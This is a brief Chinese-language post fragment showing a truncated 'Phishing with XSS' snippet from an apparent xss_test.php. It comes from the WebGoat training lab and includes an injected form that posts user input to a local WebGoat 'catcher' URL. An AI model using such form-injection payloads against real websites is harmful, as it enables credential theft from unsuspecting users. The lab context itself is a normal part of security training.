求知若饥，虚心若愚.
自己测测吧。
//xss_test.php
<html>
<head></head>......
Phishing with XSS
</form><form action="http://127.0.0.1:8888/webgoat/catcher?PROPERTY=yes" method="post"><br>&......